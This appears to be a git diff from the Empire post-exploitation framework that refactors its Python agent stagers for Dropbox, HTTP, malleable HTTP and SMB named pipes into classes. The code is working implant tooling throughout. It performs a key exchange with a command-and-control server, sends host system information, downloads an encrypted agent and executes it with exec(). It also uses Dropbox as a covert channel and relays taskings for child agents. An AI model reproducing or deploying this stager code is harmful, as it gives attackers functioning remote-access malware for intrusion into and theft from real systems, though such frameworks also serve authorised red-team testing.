-# RC4 routing packet:
-# sessionID = sessionID
-# language = PYTHON (2)
-# meta = STAGE2 (3)
-# extra = 0
-# length = len(length)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData)
-headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_3.txt\"}" % (stagingFolder, sessionID)
-headers['Content-Type'] = "application/octet-stream"
-time.sleep(pollInterval * 2)
-response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket)
-
-time.sleep(pollInterval * 2)
-headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID)
-del headers['Content-Type']
-raw = post_message("https://content.dropboxapi.com/2/files/download", data=None)
-
-time.sleep(pollInterval)
-del headers['Dropbox-API-Arg']
-headers['Content-Type'] = "application/json"
-datastring = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID)
-response = post_message("https://api.dropboxapi.com/2/files/delete_v2", data=datastring)
-
-# step 6 -> server sends HMAC(AES)
-agent = aes_decrypt_and_verify(key, raw)
-exec(agent)
+class Stage:
+ def __init__(self):
+ self.staging_key = b'{{ staging_key }}'
+ self.profile = '{{ profile }}'
+ self.staging_folder = '{{ staging_folder }}'
+ self.taskings_folder = '{{ taskings_folder }}'
+ self.api_token = '{{ api_token }}'
+ self.results_folder = '{{ results_folder }}'
+ self.poll_interval = int('{{ poll_interval }}')
+ self.server='https://content.dropboxapi.com/2/files/download'
+ self.session_id = self.generate_session_id()
+ self.headers = self.initialize_headers(self.profile)
+ self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, server=self.server, headers=self.headers, taskings_folder=self.taskings_folder, results_folder=self.results_folder)
+
+ @staticmethod
+ def generate_session_id():
+ return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))
+
+ def initialize_headers(self, profile):
+ parts = profile.split('|')
+ user_agent = parts[1]
+ headers_raw = parts[2:]
+ headers = {'User-Agent': user_agent}
+ for header_raw in headers_raw:
+ try:
+ header_key, header_value = header_raw.split(":")
+ headers[header_key] = header_value
+ except Exception:
+ pass
+ headers['Authorization'] = "Bearer %s" % (self.api_token)
+ headers['Content-Type'] = "application/octet-stream"
+ return headers
+
+ def execute(self):
+ # Diffie-Hellman Key Exchange
+ client_pub = DiffieHellman()
+ public_key = str(client_pub.publicKey).encode('UTF-8')
+ hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key)
+
+ # Build and Send Routing Packet
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data)
+ try:
+ response = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/upload", routing_packet)
+ except Exception as e:
+ print("Error 1:)")
+ print(e)
+ exit()
+
+ # (urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
+ time.sleep(self.poll_interval * 2)
+ try:
+ del self.headers['Content-Type']
+ self.headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_2.txt\"}" % (self.staging_folder, self.session_id)
+ raw = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/download", data=None)
+ except Exception as e:
+ print("Error 2:)")
+ print(e)
+ # decrypt the server's public key and the server nonce
+ packet = aes_decrypt_and_verify(self.staging_key, raw)
+ nonce, server_pub = packet[0:16], int(packet[16:])
+
+ # calculate the shared secret
+ client_pub.genKey(server_pub)
+ self.key = client_pub.key
+ self.packet_handler.key = self.key
+
+ # step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo)
+ hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8'))
+
+ # RC4 routing packet:
+ # sessionID = sessionID
+ # language = PYTHON (2)
+ # meta = STAGE2 (3)
+ # extra = 0
+ # length = len(length)
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data)
+ self.headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_3.txt\"}" % (self.staging_folder, self.session_id)
+ self.headers['Content-Type'] = "application/octet-stream"
+ time.sleep(self.poll_interval * 2)
+ response = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/upload", routing_packet)
+
+ time.sleep(self.poll_interval * 2)
+ self.headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_4.txt\"}" % (self.staging_folder, self.session_id)
+ del self.headers['Content-Type']
+ raw = self.packet_handler.post_message("https://content.dropboxapi.com/2/files/download", data=None)
+
+ time.sleep(self.poll_interval)
+ del self.headers['Dropbox-API-Arg']
+ self.headers['Content-Type'] = "application/json"
+ data_string = "{\"path\":\"%s/%s_4.txt\"}" % (self.staging_folder, self.session_id)
+ response = self.packet_handler.post_message("https://api.dropboxapi.com/2/files/delete_v2", data=data_string)
+
+ # step 6 -> server sends HMAC(AES)
+ agent_code = aes_decrypt_and_verify(self.key, raw)
+ exec(agent_code, globals())
+ agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server,
+ session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours)
+ self.packet_handler.agent = agent
+ agent.run()
+
+# Initialize and Execute Agent
+stage = Stage()
+stage.execute()
diff --git a/empire/server/data/agent/stagers/http/comms.py b/empire/server/data/agent/stagers/http/comms.py
index 10c11b56f..d08504b79 100644
--- a/empire/server/data/agent/stagers/http/comms.py
+++ b/empire/server/data/agent/stagers/http/comms.py
@@ -1,95 +1,85 @@
-def post_message(uri, data):
- global headers
- return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read()
-
-
-def update_proxychain(proxy_list):
- setdefaultproxy() # Clear the default chain
-
- for proxy in proxy_list:
- addproxy(proxytype=proxy['proxytype'], addr=proxy['addr'], port=proxy['port'])
-
-
-def send_results_for_child(received_data):
- """
- Forwards the results of a tasking to the control server.
- """
- headers['Cookie'] = "session=%s" % (received_data[1:])
- taskURI = random.sample(taskURIs, 1)[0]
- requestUri = server + taskURI
- response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, headers))).read()
- return response
-
-
-def send_get_tasking_for_child(received_data):
- """
- Forwards the get tasking to the control server.
- """
- decoded_data = base64.b64decode(received_data[1:].encode('UTF-8'))
- taskURI = random.sample(taskURIs, 1)[0]
- requestUri = server + taskURI
- response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, headers))).read()
- return response
-
-
-def send_staging_for_child(received_data, hop_name):
- """
- Forwards the staging request to the control server.
- """
- postURI = server + "/login/process.php"
- headers['Hop-Name'] = hop_name
- decoded_data = base64.b64decode(received_data[1:].encode('UTF-8'))
- response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, headers))).read()
- return response
-
-
-def send_message(packets=None):
- # Requests a tasking or posts data to a randomized tasking URI.
- # If packets == None, the agent GETs a tasking from the control server.
- # If packets != None, the agent encrypts the passed packets and
- # POSTs the data to the control server.
- global missedCheckins
- global server
- global headers
- global taskURIs
- data = None
- if packets:
- # aes_encrypt_then_hmac is in stager.py
- encData = aes_encrypt_then_hmac(key, packets)
- data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
-
- else:
- # if we're GETing taskings, then build the routing packet to stuff info a cookie first.
- # meta TASKING_REQUEST = 4
- routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)
- b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8')
- headers['Cookie'] = "{{ session_cookie }}session=%s" % (b64routingPacket)
- taskURI = random.sample(taskURIs, 1)[0]
- requestUri = server + taskURI
-
- try:
- if proxy_list:
- wrapmodule(urllib.request)
- data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, headers))).read()
- return ('200', data)
-
- except urllib.request.HTTPError as HTTPError:
- # if the server is reached, but returns an error (like 404)
- missedCheckins = missedCheckins + 1
- # if signaled for restaging, exit.
- if HTTPError.code == 401:
- sys.exit(0)
-
- return (HTTPError.code, '')
-
- except urllib.request.URLError as URLerror:
- # if the server cannot be reached
- missedCheckins = missedCheckins + 1
- return (URLerror.reason, '')
- return ('', '')
-
-
-# update servers
-server = '{{ host }}'
-if server.startswith("https"):
- hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None
+import base64
+import random
+import sys
+import urllib
+
+
+class ExtendedPacketHandler(PacketHandler):
+ def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None):
+ super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key)
+ self.headers = headers
+ self.taskURIs = taskURIs
+ self.server = server
+
+ def post_message(self, uri, data):
+ return (urllib.request.urlopen(urllib.request.Request(uri, data, self.headers))).read()
+
+ def send_results_for_child(self, received_data):
+ """
+ Forwards the results of a tasking to the control server.
+ """
+ self.headers['Cookie'] = "session=%s" % (received_data[1:])
+ taskURI = random.sample(self.taskURIs, 1)[0]
+ requestUri = self.server + taskURI
+ response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, self.headers))).read()
+ return response
+
+ def send_get_tasking_for_child(self, received_data):
+ """
+ Forwards the get tasking to the control server.
+ """
+ decoded_data = base64.b64decode(received_data[1:].encode('UTF-8'))
+ taskURI = random.sample(self.taskURIs, 1)[0]
+ requestUri = self.server + taskURI
+ response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, self.headers))).read()
+ return response
+
+ def send_staging_for_child(self, received_data, hop_name):
+ """
+ Forwards the staging request to the control server.
+ """
+ postURI = self.server + "/login/process.php"
+ self.headers['Hop-Name'] = hop_name
+ decoded_data = base64.b64decode(received_data[1:].encode('UTF-8'))
+ response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, self.headers))).read()
+ return response
+
+ def send_message(self, packets=None):
+ # Requests a tasking or posts data to a randomized tasking URI.
+ # If packets == None, the agent GETs a tasking from the control server.
+ # If packets != None, the agent encrypts the passed packets and
+ # POSTs the data to the control server.
+ data = None
+
+ if packets:
+ # aes_encrypt_then_hmac is in stager.py
+ enc_data = aes_encrypt_then_hmac(self.key, packets)
+ data = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=enc_data)
+
+ else:
+ # if we're GETing taskings, then build the routing packet to stuff info a cookie first.
+ # meta TASKING_REQUEST = 4
+ routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=4)
+ b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8')
+ self.headers['Cookie'] = "{{ session_cookie }}session=%s" % (b64routingPacket)
+ taskURI = random.sample(self.taskURIs, 1)[0]
+ requestUri = self.server + taskURI
+
+ try:
+ data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, self.headers))).read()
+ return ('200', data)
+
+ except urllib.request.HTTPError as HTTPError:
+ # if the server is reached, but returns an error (like 404)
+ self.missedCheckins += 1
+ # if signaled for restaging, exit.
+ if HTTPError.code == 401:
+ sys.exit(0)
+
+ return (HTTPError.code, '')
+
+ except urllib.request.URLError as URLerror:
+ # if the server cannot be reached
+ self.missedCheckins += 1
+ return (URLerror.reason, '')
+ return ('', '')
diff --git a/empire/server/data/agent/stagers/http/http.py b/empire/server/data/agent/stagers/http/http.py
index 33e8e8353..0363d31f4 100644
--- a/empire/server/data/agent/stagers/http/http.py
+++ b/empire/server/data/agent/stagers/http/http.py
@@ -13,94 +13,80 @@
import string
import urllib.request
-{% include 'common/rc4.py' %}
{% include 'common/aes.py' %}
+{% include 'common/rc4.py' %}
{% include 'common/diffiehellman.py' %}
{% include 'common/get_sysinfo.py' %}
-{% include 'common/sockschain.py' %}
{% include 'http/comms.py' %}
-def post_message(uri, data):
- global headers
- return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read()
-
-# generate a randomized sessionID
-sessionID = b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))
-
-# server configuration information
-stagingKey = b'{{ staging_key }}'
-profile = '{{ profile }}'
-WorkingHours = '{{ working_hours }}'
-KillDate = '{{ kill_date }}'
-
-parts = profile.split('|')
-taskURIs = parts[0].split(',')
-userAgent = parts[1]
-headersRaw = parts[2:]
-
-# global header dictionary
-# sessionID is set by stager.py
-# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)}
-headers = {'User-Agent': userAgent}
-try:
- headers['Hop-Name'] = hop
-except:
- pass
-
-# parse the headers into the global header dictionary
-for headerRaw in headersRaw:
- try:
- headerKey = headerRaw.split(":")[0]
- headerValue = headerRaw.split(":")[1]
- if headerKey.lower() == "cookie":
- headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
- else:
- headers[headerKey] = headerValue
- except Exception:
- pass
-
-# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server
-clientPub=DiffieHellman()
-public_key = str(clientPub.publicKey).encode('UTF-8')
-hmacData=aes_encrypt_then_hmac(stagingKey,public_key)
-
-# RC4 routing packet:
-# meta = STAGE1 (2)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData)
-
-try:
- postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}"
- # response = post_message(postURI, routingPacket+hmacData)
- response = post_message(postURI, routingPacket)
-except Exception:
- exit()
-
-# decrypt the server's public key and the server nonce
-packet = aes_decrypt_and_verify(stagingKey, response)
-nonce = packet[0:16]
-serverPub = int(packet[16:])
-
-# calculate the shared secret
-clientPub.genKey(serverPub)
-key = clientPub.key
-
-# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo)
-postURI = server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}"
-hmacData = aes_encrypt_then_hmac(key, get_sysinfo(nonce=str(int(nonce)+1)).encode('UTF-8'))
-
-# RC4 routing packet:
-# sessionID = sessionID
-# language = PYTHON (2)
-# meta = STAGE2 (3)
-# extra = 0
-# length = len(length)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData)
-
-response = post_message(postURI, routingPacket)
-
-# step 6 -> server sends HMAC(AES)
-agent = aes_decrypt_and_verify(key, response)
-agent = agent.replace('{{ working_hours }}', WorkingHours)
-agent = agent.replace('{{ kill_date }}', KillDate)
-
-exec(agent)
+
+class Stage:
+ def __init__(self):
+ self.staging_key = b'{{ staging_key }}'
+ self.profile = '{{ profile }}'
+ self.server = '{{ host }}'
+ self.kill_date = '{{ kill_date }}'
+ self.working_hours = '{{ working_hours }}'
+
+ if self.server.startswith("https"):
+ hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None
+
+ self.session_id = self.generate_session_id()
+ self.key = None
+ self.headers = self.initialize_headers(self.profile)
+ self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, headers=self.headers, server=self.server, taskURIs=self.taskURIs)
+
+ @staticmethod
+ def generate_session_id():
+ return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))
+
+ def initialize_headers(self, profile):
+ parts = profile.split('|')
+ self.taskURIs = parts[0].split(',')
+ userAgent = parts[1]
+ headersRaw = parts[2:]
+ headers = {'User-Agent': userAgent}
+ for headerRaw in headersRaw:
+ try:
+ headerKey, headerValue = headerRaw.split(":")
+ headers[headerKey] = headerValue
+ except Exception:
+ pass
+ return headers
+
+ def execute(self):
+ # Diffie-Hellman Key Exchange
+ client_pub = DiffieHellman()
+ public_key = str(client_pub.publicKey).encode('UTF-8')
+ hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key)
+
+ # Build and Send Routing Packet
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data)
+ post_uri = self.server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}"
+ response = self.packet_handler.post_message(post_uri, routing_packet)
+
+ # Decrypt Server Response
+ packet = aes_decrypt_and_verify(self.staging_key, response)
+ nonce, server_pub = packet[0:16], int(packet[16:])
+
+ # Generate Shared Secret
+ client_pub.genKey(server_pub)
+ self.key = client_pub.key
+ self.packet_handler.key = self.key
+
+ # Send System Info
+ post_uri = self.server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}"
+ hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8'))
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data)
+ response = self.packet_handler.post_message(post_uri, routing_packet)
+
+ # Decrypt and Execute Agent
+ agent_code = aes_decrypt_and_verify(self.key, response)
+ exec(agent_code, globals())
+ agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours)
+ self.packet_handler.agent = agent
+ agent.run()
+
+# Initialize and Execute Agent
+stage = Stage()
+stage.execute()
diff --git a/empire/server/data/agent/stagers/http_malleable/http_malleable.py b/empire/server/data/agent/stagers/http_malleable/http_malleable.py
index 4b437554d..b36a7022c 100644
--- a/empire/server/data/agent/stagers/http_malleable/http_malleable.py
+++ b/empire/server/data/agent/stagers/http_malleable/http_malleable.py
@@ -13,92 +13,82 @@
import string
import urllib.request
-{% include 'common/rc4.py' %}
{% include 'common/aes.py' %}
+{% include 'common/rc4.py' %}
{% include 'common/diffiehellman.py' %}
{% include 'common/get_sysinfo.py' %}
-{% include 'common/sockschain.py' %}
-def post_message(uri, data):
- global headers
- return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read()
-# Replace with comms code
REPLACE_COMMS
-# generate a randomized sessionID
-sessionID = b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))
-
-# server configuration information
-stagingKey = b'{{ staging_key }}'
-profile = '{{ profile }}'
-WorkingHours = '{{ working_hours }}'
-KillDate = '{{ kill_date }}'
-
-parts = profile.split('|')
-taskURIs = parts[0].split(',')
-userAgent = parts[1]
-headersRaw = parts[2:]
-
-# global header dictionary
-# sessionID is set by stager.py
-# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)}
-headers = {'User-Agent': userAgent}
-
-# parse the headers into the global header dictionary
-for headerRaw in headersRaw:
- try:
- headerKey = headerRaw.split(":")[0]
- headerValue = headerRaw.split(":")[1]
- if headerKey.lower() == "cookie":
- headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
- else:
- headers[headerKey] = headerValue
- except:
- pass
-
-# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server
-clientPub=DiffieHellman()
-public_key = str(clientPub.publicKey).encode('UTF-8')
-hmacData=aes_encrypt_then_hmac(stagingKey,public_key)
-
-# RC4 routing packet:
-# meta = STAGE1 (2)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData)
-
-try:
- postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}"
- # response = post_message(postURI, routingPacket+hmacData)
- response = post_message(postURI, routingPacket)
-except:
- exit()
-
-# decrypt the server's public key and the server nonce
-packet = aes_decrypt_and_verify(stagingKey, response)
-nonce = packet[0:16]
-serverPub = int(packet[16:])
-
-# calculate the shared secret
-clientPub.genKey(serverPub)
-key = clientPub.key
-
-# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo)
-postURI = server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}"
-hmacData = aes_encrypt_then_hmac(key, get_sysinfo(nonce=str(int(nonce)+1)).encode('UTF-8'))
-
-# RC4 routing packet:
-# sessionID = sessionID
-# language = PYTHON (2)
-# meta = STAGE2 (3)
-# extra = 0
-# length = len(length)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData)
-
-response = post_message(postURI, routingPacket)
-
-# step 6 -> server sends HMAC(AES)
-agent = aes_decrypt_and_verify(key, response)
-agent = agent.replace('{{ working_hours }}', WorkingHours)
-agent = agent.replace('{{ kill_date }}', KillDate)
-
-exec(agent)
+
+class Stage:
+ def __init__(self):
+ self.staging_key = b'{{ staging_key }}'
+ self.profile = '{{ profile }}'
+ self.server = '{{ host }}'
+ self.kill_date = '{{ kill_date }}'
+ self.working_hours = '{{ working_hours }}'
+
+ if self.server.startswith("https"):
+ hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None
+
+ self.session_id = self.generate_session_id()
+ self.key = None
+ self.headers = self.initialize_headers(self.profile)
+ self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, headers=self.headers, server=self.server, taskURIs=self.taskURIs)
+
+ @staticmethod
+ def generate_session_id():
+ return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))
+
+ def initialize_headers(self, profile):
+ parts = profile.split('|')
+ self.taskURIs = parts[0].split(',')
+ userAgent = parts[1]
+ headersRaw = parts[2:]
+ headers = {'User-Agent': userAgent}
+ for headerRaw in headersRaw:
+ try:
+ headerKey, headerValue = headerRaw.split(":")
+ headers[headerKey] = headerValue
+ except Exception:
+ pass
+ return headers
+
+ def execute(self):
+ # Diffie-Hellman Key Exchange
+ client_pub = DiffieHellman()
+ public_key = str(client_pub.publicKey).encode('UTF-8')
+ hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key)
+
+ # Build and Send Routing Packet
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data)
+ post_uri = self.server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}"
+ response = self.packet_handler.post_message(post_uri, routing_packet)
+
+ # Decrypt Server Response
+ packet = aes_decrypt_and_verify(self.staging_key, response)
+ nonce, server_pub = packet[0:16], int(packet[16:])
+
+ # Generate Shared Secret
+ client_pub.genKey(server_pub)
+ self.key = client_pub.key
+ self.packet_handler.key = self.key
+
+ # Send System Info
+ post_uri = self.server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}"
+ hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8'))
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data)
+ response = self.packet_handler.post_message(post_uri, routing_packet)
+
+ # Decrypt and Execute Agent
+ agent_code = aes_decrypt_and_verify(self.key, response)
+ exec(agent_code, globals())
+ agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours)
+ self.packet_handler.agent = agent
+ agent.run()
+
+# Initialize and Execute Agent
+stage = Stage()
+stage.execute()
diff --git a/empire/server/data/agent/stagers/smb/comms.py b/empire/server/data/agent/stagers/smb/comms.py
index 42ca8e7ce..3344af76b 100644
--- a/empire/server/data/agent/stagers/smb/comms.py
+++ b/empire/server/data/agent/stagers/smb/comms.py
@@ -10,101 +10,99 @@
import System.Collections.Generic
import System.IO.Pipes
import System.Threading
-from System.IO.Pipes import (
- NamedPipeServerStream,
- PipeDirection,
- PipeOptions,
- PipeTransmissionMode,
-)
+from System.IO.Pipes import (NamedPipeServerStream, PipeDirection, PipeOptions,
+ PipeTransmissionMode)
from System.Security.Principal import TokenImpersonationLevel
-# Create a queue to hold data to be sent through the pipe
-smb_server_queue = System.Collections.Generic.Queue[str]()
-send_queue = System.Collections.Generic.Queue[str]()
-receive_queue = System.Collections.Generic.Queue[str]()
-# Connect to the named pipe
-pipe_name = "{{ pipe_name }}"
-host = "{{ host }}"
-pipe_client = System.IO.Pipes.NamedPipeClientStream(host, pipe_name, PipeDirection.InOut, 0,
- TokenImpersonationLevel.Impersonation)
-# Connect to the server
-pipe_client.Connect()
+class ExtendedPacketHandler(PacketHandler):
+ def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None):
+ super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key)
+ self.headers = headers
+ self.taskURIs = taskURIs
+ self.server = server
+ self.pipe_name = "{{ pipe_name }}"
+ self.host = "{{ host }}"
-def send_results_for_child(received_data):
- """
- Forwards the results of a tasking to the pipe server.
- """
- send_queue.Enqueue(received_data)
- return b''
+ # Create a queue to hold data to be sent through the pipe
+ self.smb_server_queue = System.Collections.Generic.Queue[str]()
+ self.send_queue = System.Collections.Generic.Queue[str]()
+ self.receive_queue = System.Collections.Generic.Queue[str]()
+ self.pipe_client = System.IO.Pipes.NamedPipeClientStream(self.host, self.pipe_name, PipeDirection.InOut, 0,
+ TokenImpersonationLevel.Impersonation)
+ # Connect to the server
+ self.pipe_client.Connect()
-def send_get_tasking_for_child(received_data):
- """
- Forwards the get tasking to the pipe server.
- """
- send_queue.Enqueue(received_data)
- return b''
+ # Create and start the separate thread for the named pipe connection
+ pipe_thread = threading.Thread(target=self.pipe_thread_function)
+ pipe_thread.daemon = True
+ pipe_thread.start()
-def send_staging_for_child(received_data, hop_name):
- """
- Forwards the staging request to the pipe server.
- """
- send_queue.Enqueue(received_data)
- return b''
+ def send_results_for_child(self, received_data):
+ """
+ Forwards the results of a tasking to the pipe server.
+ """
+ self.send_queue.Enqueue(received_data)
+ return b''
-# Function to run in the separate thread to handle the named pipe connection
-def pipe_thread_function():
- while True:
- time.sleep(1)
- if send_queue.Count > 0:
- pipe_writer = System.IO.StreamWriter(pipe_client)
- pipe_writer.WriteLine(send_queue.Peek())
- pipe_writer.Flush()
- send_queue.Dequeue()
+ def send_get_tasking_for_child(self, received_data):
+ """
+ Forwards the get tasking to the pipe server.
+ """
+ self.send_queue.Enqueue(received_data)
+ return b''
- recv_pipe_reader = System.IO.StreamReader(pipe_client)
- received_data = recv_pipe_reader.ReadLine()
- receive_queue.Enqueue(received_data)
+ def send_staging_for_child(self, received_data, hop_name):
+ """
+ Forwards the staging request to the pipe server.
+ """
+ self.send_queue.Enqueue(self, received_data)
+ return b''
-# Create and start the separate thread for the named pipe connection
-pipe_thread = threading.Thread(target=pipe_thread_function)
-pipe_thread.daemon = True
-pipe_thread.start()
+ # Function to run in the separate thread to handle the named pipe connection
+ def pipe_thread_function(self):
+ while True:
+ time.sleep(1)
+ if self.send_queue.Count > 0:
+ pipe_writer = System.IO.StreamWriter(self.pipe_client)
+ pipe_writer.WriteLine(self.send_queue.Peek())
+ pipe_writer.Flush()
+ self.send_queue.Dequeue()
-def send_message(packets=None):
- global missedCheckins
- global server
- global headers
- global taskURIs
- data = None
+ recv_pipe_reader = System.IO.StreamReader(self.pipe_client)
+ received_data = recv_pipe_reader.ReadLine()
+ self.receive_queue.Enqueue(received_data)
- if packets:
- encData = aes_encrypt_then_hmac(key, packets)
- data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
- data = base64.b64encode(data).decode('UTF-8')
- send_queue.Enqueue("1" + data)
- else:
- routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)
- b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8')
- send_queue.Enqueue("0" + b64routingPacket)
+ def send_message(self, packets=None):
+ data = None
- while receive_queue.Count > 0:
- data = receive_queue.Peek()
- data = base64.b64decode(data)
- receive_queue.Dequeue()
+ if packets:
+ encData = aes_encrypt_then_hmac(self.key, packets)
+ data = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=encData)
+ data = base64.b64encode(data).decode('UTF-8')
+ self.send_queue.Enqueue("1" + data)
+ else:
+ routing_packet = self.build_routing_packet(self.staging_key, self.session_id, meta=4)
+ b64routing_packet = base64.b64encode(routing_packet).decode('UTF-8')
+ self.send_queue.Enqueue("0" + b64routing_packet)
+
+ while self.receive_queue.Count > 0:
+ data = self.receive_queue.Peek()
+ data = base64.b64decode(data)
+ self.receive_queue.Dequeue()
- try:
- send_job_message_buffer()
- except Exception as e:
- result = build_response_packet(
- 0, str("[!] Failed to check job buffer!: " + str(e))
- )
- process_job_tasking(result)
- if data.strip() == defaultResponse.strip() or data == base64.b64encode(defaultResponse):
- missedCheckins = 0
+ try:
+ self.agent.send_job_message_buffer()
+ except Exception as e:
+ result = self.build_response_packet(
+ 0, str("[!] Failed to check job buffer!: " + str(e))
+ )
+ self.process_job_tasking(result)
+ if data.strip() == self.agent.defaultResponse.strip() or data == base64.b64encode(self.agent.defaultResponse):
+ self.missedCheckins = 0
+ else:
+ self.decode_routing_packet(data)
+ if data:
+ return '200', data
else:
- decode_routing_packet(data)
- if data:
- return '200', data
- else:
- return '', ''
\ No newline at end of file
+ return '', ''
diff --git a/empire/server/data/agent/stagers/smb/smb.py b/empire/server/data/agent/stagers/smb/smb.py
index abf39af51..a5298a66e 100644
--- a/empire/server/data/agent/stagers/smb/smb.py
+++ b/empire/server/data/agent/stagers/smb/smb.py
@@ -12,103 +12,99 @@
import base64
import random
import string
+import time
+import urllib.request
-{% include 'common/rc4.py' %}
{% include 'common/aes.py' %}
+{% include 'common/rc4.py' %}
{% include 'common/diffiehellman.py' %}
{% include 'common/get_sysinfo.py' %}
{% include 'smb/comms.py' %}
-# generate a randomized sessionID
-sessionID = b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))
-
-# server configuration information
-stagingKey = b'{{ staging_key }}'
-profile = '{{ profile }}'
-WorkingHours = '{{ working_hours }}'
-KillDate = '{{ kill_date }}'
-server = ''
-
-parts = profile.split('|')
-taskURIs = parts[0].split(',')
-userAgent = parts[1]
-headersRaw = parts[2:]
-
-# global header dictionary
-# sessionID is set by stager.py
-# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)}
-headers = {'User-Agent': userAgent}
-
-# parse the headers into the global header dictionary
-for headerRaw in headersRaw:
- try:
- headerKey = headerRaw.split(":")[0]
- headerValue = headerRaw.split(":")[1]
- if headerKey.lower() == "cookie":
- headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
- else:
